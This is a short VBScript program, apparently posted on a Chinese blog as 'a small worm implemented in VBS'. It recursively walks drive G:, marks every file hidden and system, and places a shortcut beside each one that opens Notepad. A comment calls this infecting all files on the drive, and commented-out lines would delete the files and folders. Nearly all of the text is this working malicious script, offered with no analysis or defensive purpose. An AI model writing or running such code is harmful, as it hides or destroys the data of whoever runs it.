Sub CreateShortcut(path)
Set WshShell = Wscript.CreateObject("Wscript.Shell")
Set Shortcut = WshShell.CreateShortcut(path&".lnk")
Shortcut.TargetPath = "notepad.exe"
ShortCut.Hotkey = "H"
ShortCut.Save
End sub
Function FilesTree(sPath)
'遍历一个文件夹下的所有文件夹文件夹
Set oFso = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFso.GetFolder(sPath)
Set oSubFolders = oFolder.SubFolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
WScript.Echo oFile.Path
'oFile.Delete
Set f=oFso.GetFile(oFile.Path)
f.Attributes=2+4 '隐藏当前文件
CreateShortcut(oFile.Path) '创建当前文件的快捷方式,并且指向notepad.exe程序
Next
For Each oSubFolder In oSubFolders
WScript.Echo oSubFolder.Path
'oSubFolder.Delete
FilesTree(oSubFolder.Path)'递归
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
Set oFso = Nothing
End Function
FilesTree("G:\")
'感染G盘下的所有文件
vbs实现的一个小蠕虫
最新推荐文章于 2023-05-28 00:36:34 发布